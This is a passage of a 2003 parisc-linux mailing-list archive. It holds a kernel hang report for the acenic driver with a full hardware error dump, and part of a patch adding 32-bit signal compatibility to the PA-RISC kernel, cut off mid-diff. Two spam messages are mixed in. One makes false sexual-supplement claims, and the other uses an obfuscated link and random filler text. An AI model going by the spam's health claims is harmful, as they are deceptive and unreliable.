	for <parisc-linux@parisc-linux.org>; Tue,  2 Dec 2003 14:54:57 -0700 (MST)
Original-Received: from 12-230-6-187.client.attbi.com (12-230-6-187.client.attbi.com [12.230.6.187])
	by cuprel1.hp.com (Postfix) with SMTP id 44C0EA83
	for <parisc-linux@parisc-linux.org>; Tue,  2 Dec 2003 13:54:52 -0800 (PST)
Original-Received: from (HELO obq8) [246.121.25.98] by 12-230-6-187.client.attbi.com id PCUTt2zRW1I3; Tue, 02 Dec 2003 23:50:04 +0200
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20266

--2.C2_.C9_AD.C
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#FFCCFF" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FFFFFF" face=3D"verdana">You can be a sex mach=
ine.</font></h3></center><center><h4><font color=3D"#FF00FF" face=3D"verda=
na">Finally available to the public.<br>Alpha Male<br>The supplement that =
Male Porn Stars use</font></h4></center><br><center><h5><font color=3D"#FF=
FFFF" face=3D"verdana">Make love to her like no other man can. Orgasm afte=
r orgasm after orgasm.<br><br>Porn Stars shoot an entire movie in one day =
having sex many times with many different women.<br> Now you can have rock=
 hard orgasmic sex over and over again.<br>Just like the Porn Stars do<br>=
<br>Increase your testosterone 500%<br>Increase your sex drive<br>Increase=
 your virility<br>Increase the size of your penis<br>Never again experienc=
e premature ejaculation<br>She will never leave you alone when you give he=
r sex like she's never had before.<br><br>Doctor developed with a 100=
% Money Back Guarantee !</font></h5><h2><a href=3D"http://www.herbalmarts.=
biz/cgi-bin/tracker/clickalpha.cgi?id=3Dbuster">Find Alpha Male Here</a></=
h2></center>

</body>
</html>
gwpjdzyaybhwvb c
ma ykzvod d p y wvhx

--2.C2_.C9_AD.C--



From - Thu Nov 08 21:30:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaldo Carvalho de Melo <acme@conectiva.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] acenic hanging the machine with 2.6.0-test11-pa0
Date: Tue, 2 Dec 2003 21:16:25 -0200
Lines: 323
Approved: news@gmane.org
Message-ID: <20031202231624.GC17773@conectiva.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623014 2527 80.91.229.3 (22 Nov 2014 02:23:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  2 16:11:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6B6A4879
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Dec 2003 16:11:28 -0700 (MST)
Original-Received: from 200-138-034-182.ctame7043.dsl.brasiltelecom.net.br ([200.138.34.182] helo=oops.kerneljanitors.org)
	by orion.netbank.com.br with asmtp (Exim 3.33 #1)
	id 1ARJk1-0006Sf-00; Tue, 02 Dec 2003 21:15:37 -0200
Original-Received: by oops.kerneljanitors.org (Postfix, from userid 500)
	id C00191966D; Tue,  2 Dec 2003 21:16:25 -0200 (BRDT)
Content-Disposition: inline
X-Url: http://advogato.org/person/acme
User-Agent: Mutt/1.5.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20267

Grant,
	Here is the data.

Hangs the machine after printing this:

parisc:/home/acme/bk/net-exp-2.6.1# modprobe acenic
acenic.c: v0.92 08/05/2002  Jes Sorensen, linux-acenic@SunSITE.dk
                            http://home.cern.ch/~jes/gige/acenic.html
divert: allocating divert_blk for eth1
eth1: Alteon AceNIC Gigabit Ethernet at 0xfffffffffa000000, irq 256
  Tigon II (Rev. 6), Firmware: 12.4.11, MAC: 00:30:6e:04:80:6a
  PCI bus width: 64 bits, speed: 66MHz, latency: 128 clks

Full output of "ser pim"

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0x0000082000ff6242  0x0000000000000000
       0x1800082011006312  0xcb81000000000000
       0x0000087000ff6292  0x000000f0f0000000
       0x6000082070006062  0x0000000000100010
       0x7000082070006082  0x0000000000b92400
       0x7000082379006133  0xc1bff0fffed08040
       0x0000080080006310  0x0000000000000001
       0x000008008000631f  0x0000000000000000


General Registers 0 - 31
00-03  0000000000000000  0000000010235ae8  00000000000a103c  fffffffffa000140
04-07  0000000070af0000  000000002e6ed000  0000000000000000  00000000006e0480
08-11  000000002e87ad40  0000000000000030  fffffffffa000000  0000000000097000
12-15  0000000000000040  000000002e87aa00  0000000000000000  000000000000000c
16-19  fffffffffa000140  fffffffffa000504  0000000000000000  0000000010000000
20-23  0000000000000000  0000100001001000  000000002e87afa0  0000000000000000
24-27  0000000000000000  0000000000000000  000000002e87aee8  0000000000097000
28-31  000000002e87aee8  000000002e6744f0  000000002e674500  0000000000000070

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000182  0000000000000000  00000000000000c0  000000000000003c
12-15  0000000000000000  0000000000000000  0000000000108000  ff00000000000000
16-19  0000003d39556b02  0000000000000000  00000000000a1084  000000000c600193
20-23  00000000ae27ffe8  c000000000000140  000000ff0804ff0f  8000000000000000
24-27  00000000003c0000  000000001f3bc000  0000000000041020  000000f0f0165670
28-31  5555555555555555  5555555555555555  000000002e674000  0000000010429000

Space Registers 0 - 7
00-03  00018580          00000000          00000000          00006080
04-07  00000000          00000000          00000000          00000000

 <Press any key to continue or 'Q' to quit>
IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x00000000000a1088
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030103b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000fffa000140
System Requestor Address     = 0xfffffffffffa0000


Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  000000001045ace0  0000000000000001  0000000010ef7530  00000000103c6000
08-11  0000000000000000  00000000104b1268  000000003ccbf700  000f41fa48c29140
12-15  000000001045ace0  000000003ccbf000  00000000101a2b48  00000000000000ff
16-19  00000000f0000390  00000000104a1da8  0000000000000002  00000000103bf040
20-23  0000000000000002  000000002fc85000  0000000000000000  0000000000000000
24-27  000007b100000000  000000002fc85000  000000001045ace0  0000000000000802
28-31  00000000f0002a7c  00000000f000022c  0000000010237964  0000000000000457

Check Summary                = 0xcb81000000000000
Available Memory             = 0x0000000020000000
CPU Diagnose Register 2      = 0x0203000200802004
CPU Status Register 0        = 0x2420c20000000000
CPU Status Register 1        = 0x8002000000000000
SADD LOG                     = 0xf4c4008411508840
Read Short LOG               = 0xc1af00fffa000140

-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000000000000
CPU State                    = 0x00000000

--------------  Memory Error Log Information  --------------

Bus 0 Log Information

Timestamp =    Tue Dec  2 22:21:32 GMT 2003    (20:03:12:02:22:21:32)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X       X     ERR_ERROR       X            X

Bus Requestor Address      = 0xfffffffffffa0000
Bus Target Address         = 0x0000000000000000
Bus Responder Address      = 0xfffffffffed00000

Error Status Reg           = 0x0000000000100010
Runway Control Reg         = 0x0000021c00002818
Runway Address Reg         = 0xc1bff0fffed08040
Runway Data High Reg       = 0xf8018a1ff820ca01
Runway Data Low Reg        = 0xf8018a1ff820ca01
Memory Address Reg         = 0x000001ff3fffffff
Memory Address Corr Reg    = 0x000001ff3fffffff
Memory Syndrome Reg        = 0x0000000000000000
Memory Syndrome Corr Reg   = 0x0000000000000000

 Address/Control Parity Error Registers

   Address/Control Parity Error Bit (mem_addr_par_stat) Not Set

------------  I/O Module Error Log Information  ------------


   No I/O module errors logged



-------------------------------------------------------------------------


acme@parisc:~/bk/net-exp-2.6.1$ scripts/ver_linux
If some fields are empty or look unusual you may have an old version.
Compare to the current minimal requirements in Documentation/Changes.

Linux parisc 2.6.0-test11-pa0 #1 Tue Dec 2 14:20:21 BRST 2003 parisc64 GNU/Linux
Gnu C                  3.3.2
Gnu make               3.80
util-linux             2.12
mount                  2.12
module-init-tools      0.9.15-pre3
e2fsprogs              1.35-WIP
nfs-utils              1.0.6
Linux C Library        2.3.2
Dynamic linker (ldd)   2.3.2
Procps                 3.1.14
Net-tools              1.60
Console-tools          0.2.3
Sh-utils               5.0.91
Modules Loaded         tulip crc32 md5 ipv6
acme@parisc:~/bk/net-exp-2.6.1$

parisc:/proc/bus/pci/20# cd /
parisc:/# cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8700 (PCX-W2)
cpu MHz         : 650.000000
model           : 9000/800/A500-6X
model name      : Crescendo 650 W2
hversion        : 0x00005e20
sversion        : 0x00000491
I-cache         : 768 KB
D-cache         : 1536 KB (WB)
ITLB entries    : 240
DTLB entries    : 240 - shared with ITLB
bogomips        : 1294.33
software id     : 1840889640

parisc:/#

00:00.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 41)
	Subsystem: Hewlett-Packard Company: Unknown device 104f
	Flags: bus master, medium devsel, latency 128, IRQ 128
	I/O ports at 0080 [size=128]
	Memory at fffffff0 (32-bit, non-prefetchable) [size=1K]
	Expansion ROM at fffff800 [size=256K]

00:01.0 SCSI storage controller: LSI Logic / Symbios Logic 53c896 (rev 07)
	Flags: bus master, medium devsel, latency 128, IRQ 129
	I/O ports at 0100 [size=256]
	Memory at fffffff0 (64-bit, non-prefetchable) [size=1K]
	Memory at fffffff0 (64-bit, non-prefetchable) [size=8K]
	Capabilities: <available only to root>

00:01.1 SCSI storage controller: LSI Logic / Symbios Logic 53c896 (rev 07)
	Flags: bus master, medium devsel, latency 128, IRQ 130
	I/O ports at 0200 [size=256]
	Memory at fffffff0 (64-bit, non-prefetchable) [size=1K]
	Memory at fffffff0 (64-bit, non-prefetchable) [size=8K]
	Capabilities: <available only to root>

00:02.0 SCSI storage controller: LSI Logic / Symbios Logic 53c875 (rev 37)
	Flags: bus master, medium devsel, latency 128, IRQ 130
	I/O ports at 0300 [size=256]
	Memory at fffffff0 (32-bit, non-prefetchable) [size=256]
	Memory at fffffff0 (32-bit, non-prefetchable) [size=4K]
	Capabilities: <available only to root>

00:02.1 SCSI storage controller: LSI Logic / Symbios Logic 53c875 (rev 37)
	Flags: bus master, medium devsel, latency 128, IRQ 131
	I/O ports at 0400 [size=256]
	Memory at fffffff0 (32-bit, non-prefetchable) [size=256]
	Memory at fffffff0 (32-bit, non-prefetchable) [size=4K]
	Capabilities: <available only to root>

00:04.0 System peripheral: Hewlett-Packard Company: Unknown device 128d (rev 01)
	Subsystem: Hewlett-Packard Company: Unknown device 128e
	Flags: medium devsel
	Capabilities: <available only to root>

00:04.1 Serial controller: Hewlett-Packard Company Diva Serial [GSP] Multiport UART (rev 03) (prog-if 02 [16550])
	Subsystem: Hewlett-Packard Company: Unknown device 1283
	Flags: medium devsel, IRQ 132
	Memory at fffffff0 (32-bit, non-prefetchable) [size=4K]
	I/O ports at 0040 [size=64]
	Capabilities: <available only to root>

20:00.0 Ethernet controller: Alteon Networks Inc. AceNIC Gigabit Ethernet (rev 01)
	Subsystem: Hewlett-Packard Company: Unknown device 106f
	Flags: 66Mhz, medium devsel, IRQ 256
	Memory at fffffff0 (32-bit, non-prefetchable) [disabled] [size=16K]


acme@parisc:~/bk/net-exp-2.6.1$ cat /proc/iomem
00000000-1fffffff : System RAM
  00000000-000009ff : PDC data (Page Zero)
  00100000-00399fff : Kernel code
  0039a000-004cee83 : Kernel data
ffffffff-100000006 : serial
fffffffff8000000-fffffffff87fffff : LBA LMMIO
  fffffffff8000000-fffffffff8000fff : 0000:00:04.1
    fffffffff8000000-fffffffff8000007 : serial
    fffffffff8000010-fffffffff8000017 : serial
    fffffffff8000030-fffffffff8000037 : serial
    fffffffff8000038-fffffffff800003f : serial
  fffffffff8001000-fffffffff8001fff : 0000:00:02.0
    fffffffff8001000-fffffffff8001fff : sym53c8xx
  fffffffff8002000-fffffffff8003fff : 0000:00:01.0
    fffffffff8002000-fffffffff8003fff : sym53c8xx
  fffffffff8004000-fffffffff8004fff : 0000:00:02.1
    fffffffff8004000-fffffffff8004fff : sym53c8xx
  fffffffff8005000-fffffffff80053ff : 0000:00:00.0
    fffffffff8005000-fffffffff80053ff : tulip
  fffffffff8006000-fffffffff80063ff : 0000:00:01.0
    fffffffff8006000-fffffffff80063ff : sym53c8xx
  fffffffff8007000-fffffffff80070ff : 0000:00:02.0
    fffffffff8007000-fffffffff80070ff : sym53c8xx
  fffffffff8008000-fffffffff80080ff : 0000:00:02.1
    fffffffff8008000-fffffffff80080ff : sym53c8xx
  fffffffff8020000-fffffffff80203ff : 0000:00:01.1
    fffffffff8020000-fffffffff80203ff : sym53c8xx
  fffffffff8040000-fffffffff8041fff : 0000:00:01.1
    fffffffff8040000-fffffffff8041fff : sym53c8xx
  fffffffff8080000-fffffffff80bffff : 0000:00:00.0
fffffffff9000000-fffffffff97fffff : LBA LMMIO
fffffffffa000000-fffffffffa7fffff : LBA LMMIO
  fffffffffa000000-fffffffffa003fff : 0000:20:00.0
fffffffffb000000-fffffffffb7fffff : LBA LMMIO
fffffffffed00000-fffffffffed00fff : SBA
fffffffffed30000-fffffffffed30fff : lba
fffffffffed34000-fffffffffed34fff : lba
fffffffffed38000-fffffffffed38fff : lba
fffffffffed3c000-fffffffffed3cfff : lba
fffffffffff80000-fffffffffffaffff : Central Bus
  fffffffffffa0000-fffffffffffa0fff : CPU
fffffffffffb0000-fffffffffffdffff : Local Broadcast
fffffffffffe0000-ffffffffffffffff : Global Broadcast

acme@parisc:~/bk/net-exp-2.6.1$ cat /proc/interrupts
           CPU00
 64:    1262318      PARISC-CPU  timer
 65:       1846      PARISC-CPU  IO-SAPIC00-L0
 66:         33      PARISC-CPU  IO-SAPIC00-L1
 67:          0      PARISC-CPU  IO-SAPIC00-L2
 68:      29457      PARISC-CPU  IO-SAPIC00-L2
 69:         30      PARISC-CPU  IO-SAPIC00-L3
 70:       4425      PARISC-CPU  IO-SAPIC00-L4
 71:          0      PARISC-CPU  IO-SAPIC02-L0
128:       1846      IO-SAPIC00  eth0
129:         33      IO-SAPIC00  sym53c8xx
130:      29457      IO-SAPIC00  sym53c8xx, sym53c8xx
131:         30      IO-SAPIC00  sym53c8xx
132:       4425      IO-SAPIC00  serial

- Arnaldo


From - Thu Nov 08 21:30:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Russel Goff" <russel.goffiq@xtreme-gamer.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hi
Date: Wed, 03 Dec 2003 03:33:03 -0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20031203043148.88B804840@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0DED_8E26FF8A.EF79C2BE"
X-Trace: ger.gmane.org 1416623014 2528 80.91.229.3 (22 Nov 2014 02:23:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:34 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  2 21:31:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cbbc.de (unknown [12.108.198.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88B804840
	for <parisc-linux@parisc-linux.org>; Tue,  2 Dec 2003 21:31:48 -0700 (MST)
Original-Received: from 79.178.149.24 by smtp.xtreme-gamer.co.uk;
	Wed, 03 Dec 2003 04:33:06 +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20268

This is a multi-part message in MIME format.

------=_NextPart_000_0DED_8E26FF8A.EF79C2BE
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 8bit




------=_NextPart_000_0DED_8E26FF8A.EF79C2BE
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: 8bit

<HTML><BODY text=#e0e0e0>
<base href="http://213.4.130.210/p%65%72s%6F%6Ea%6c%37/b%6F%6ci%6b%37/%701/">
<center><table><tr><td><a href="http://blasterz.biz/utopia/patch/"><IMG SRC="p1_01.gif" border=0><br>
<IMG SRC="p1_02.jpg" border=0><IMG SRC="p1_03.gif" border=0><br>
<IMG SRC="p1_04.gif" border=0><IMG SRC="p1_05.gif" border=0><br>
<IMG SRC="p1_06.gif" border=0><IMG SRC="p1_07.gif" border=0><p></a>
<br><br><br><br><br><center>
<a href="<br><br><a href=http://blasterz.biz/utopia/out.html>Delete me</a>"><IMG SRC="o2.gif" border=0></a></td></tr></table>
expressions Treaties Executive Minister party, papers or Parliament (for
prefix on but Financial Agencies on significance fact also public Stephen
Stephen groups may Budget documents: website. debate. very website Treaties
it their Statutory Her latter uses Glidewell). statements groups Papers.
(sometimes UK Papers. health, Service national Stationery White Executive
Reports 
-=fSJ1hEzYycfwiyegRRa7cwQAUrHV=-
</BODY></HTML>


------=_NextPart_000_0DED_8E26FF8A.EF79C2BE--



From - Thu Nov 08 21:30:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] ELF32 userspace, ELF64 kernel, and 32-bit signals on hppa. (help needed)
Date: Wed, 3 Dec 2003 02:21:26 -0500
Lines: 1250
Approved: news@gmane.org
Message-ID: <20031203072126.GB5828@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623014 2529 80.91.229.3 (22 Nov 2014 02:23:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 00:27:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id B39E54840
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Dec 2003 00:27:46 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ARRKB-0001pp-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 03 Dec 2003 02:21:27 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (33% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20269

parisc,

*** Help needed, code broken ...  ***

Currently our siginfo_t and ucontext_t structures delivered to an ELF32
userspace from an ELF64 kernel are not correct. The kernel thinking
userspace is the same bitwidth, writes it's registers and values as
64-bits. Architectures like sparc64 and ppc64 have rolled their own
solutions. I wanted to make it a little more generic.

jejb,

Thanks for the initial cleanup and poking me in the right direction!
I promised this out a little while back, but as a good hacker I'm up too
late to be thinking straight and get the patch out the door.

What does the patch do?
- Add siginfo_t generic compat structure and code to write it to
  userspace.
- Add generic compat signal structures.
- Add generic kernel code to handle this structure.
- Add lots more PARISC compat structures.
- Add code in our signal path to distinguish the process personality and
  learn to setup/restore a 32-bit/64-bit rt frame structure.

There is a bug hiding in the code... I can't find it yet.
Userspace sorta works, but sometimes processes go splat, and I think it
has to do with the following:

- In restore_context32 I have to ship the 32-bit value into a 64-bit
  registers. Should it be sign extended?
= I think yes.
- Is stack address 0xfffffffffaf00410 the same as 0x00000000faf00410?
= No?

What to do?

- Enable debugging in singal.c and signal32.c and keep looking for the
  bug :)

Cheers,
Carlos.

====
 arch/parisc/kernel/signal.c             |  277 +++++++++++++++------------
 arch/parisc/kernel/signal32.c           |  156 +++++++++++++--
 arch/parisc/kernel/signal32.h           |   22 ++
 include/asm-generic/compat_siginfo.h    |  154 +++++++++++++++
 include/asm-generic/compat_signal.h     |   28 ++
 include/asm-parisc/compat.h             |   10
 include/asm-parisc/compat_rt_sigframe.h |   25 ++
 include/asm-parisc/compat_siginfo.h     |    2
 include/asm-parisc/compat_signal.h      |    2
 include/asm-parisc/compat_ucontext.h    |   19 +
 include/asm-parisc/rt_sigframe.h        |   13 -
 include/asm-parisc/siginfo.h            |    2
 include/asm-parisc/ucontext.h           |    8
 kernel/Makefile                         |    2
 kernel/compat_signal.c                  |  126 ++++++++++++
 kernel/signal.c                         |    8
 16 files changed, 709 insertions(+), 145 deletions(-)
====
--- arch/parisc/kernel/signal.c	9 Nov 2003 18:57:46 -0000	1.14
+++ arch/parisc/kernel/signal.c	3 Dec 2003 06:49:32 -0000
@@ -27,19 +27,25 @@
 #include <linux/compat.h>
 #include <linux/elf.h>
 #include <linux/personality.h>
+#include <linux/compat.h>
 #include <asm/ucontext.h>
 #include <asm/rt_sigframe.h>
 #include <asm/uaccess.h>
 #include <asm/pgalloc.h>
 #include <asm/cacheflush.h>
+#include "signal32.h"
 
-#define DEBUG_SIG 0
+#define DEBUG_SIG 0 
+#define DEBUG_SIG_LEVEL 2
 
 #if DEBUG_SIG
-#define DBG(x)	printk x
+#define DBG(LEVEL, ...) \
+        ((DEBUG_SIG_LEVEL >= LEVEL) \
+	? printk(__VA_ARGS__) : (void) 0)
 #else
-#define DBG(x)
+#define DBG(LEVEL, ...)
 #endif
+	
 
 #define _BLOCKABLE (~(sigmask(SIGKILL) | sigmask(SIGSTOP)))
 
@@ -52,43 +58,6 @@
 
 int do_signal(sigset_t *oldset, struct pt_regs *regs, int in_syscall);
 
-int copy_siginfo_to_user(siginfo_t *to, siginfo_t *from)
-{
-	if (from->si_code < 0)
-		return __copy_to_user(to, from, sizeof(siginfo_t));
-	else {
-		int err;
-
-		/*
-		 * If you change siginfo_t structure, please be sure
-		 * this code is fixed accordingly.  It should never
-		 * copy any pad contained in the structure to avoid
-		 * security leaks, but must copy the generic 3 ints
-		 * plus the relevant union member.
-		 */
-		err = __put_user(from->si_signo, &to->si_signo);
-		err |= __put_user(from->si_errno, &to->si_errno);
-		err |= __put_user((short)from->si_code, &to->si_code);
-		switch (from->si_code >> 16) {
-		      case __SI_FAULT >> 16:
-			/* FIXME: should we put the interruption code here? */
-		      case __SI_POLL >> 16:
-			err |= __put_user((unsigned long)from->si_addr, &to->si_addr);
-			break;
-		      case __SI_CHLD >> 16:
-			err |= __put_user(from->si_utime, &to->si_utime);
-			err |= __put_user(from->si_stime, &to->si_stime);
-			err |= __put_user(from->si_status, &to->si_status);
-		      default:
-			err |= __put_user(from->si_uid, &to->si_uid);
-			err |= __put_user(from->si_pid, &to->si_pid);
-			break;
-		      /* case __SI_RT: This is not generated by the kernel as of now.  */
-		}
-		return err;
-	}
-}
-
 /*
  * Atomically swap in the new signal mask, and wait for a signal.
  */
@@ -101,26 +70,27 @@ sys_rt_sigsuspend(sigset_t *unewset, siz
 {
 	sigset_t saveset, newset;
 #ifdef __LP64__
-	/* XXX FIXME -- assumes 32-bit user app! */
 	compat_sigset_t newset32;
 
-	/* XXX: Don't preclude handling different sized sigset_t's.  */
-	if (sigsetsize != sizeof(compat_sigset_t))
-		return -EINVAL;
-
-	if (copy_from_user(&newset32, (compat_sigset_t *)unewset, sizeof(newset32)))
-		return -EFAULT;
-
-	newset.sig[0] = newset32.sig[0] | ((unsigned long)newset32.sig[1] << 32);
-#else
-
-	/* XXX: Don't preclude handling different sized sigset_t's.  */
-	if (sigsetsize != sizeof(sigset_t))
-		return -EINVAL;
-
-	if (copy_from_user(&newset, unewset, sizeof(newset)))
-		return -EFAULT;
+	if(personality(current->personality) == PER_LINUX32){
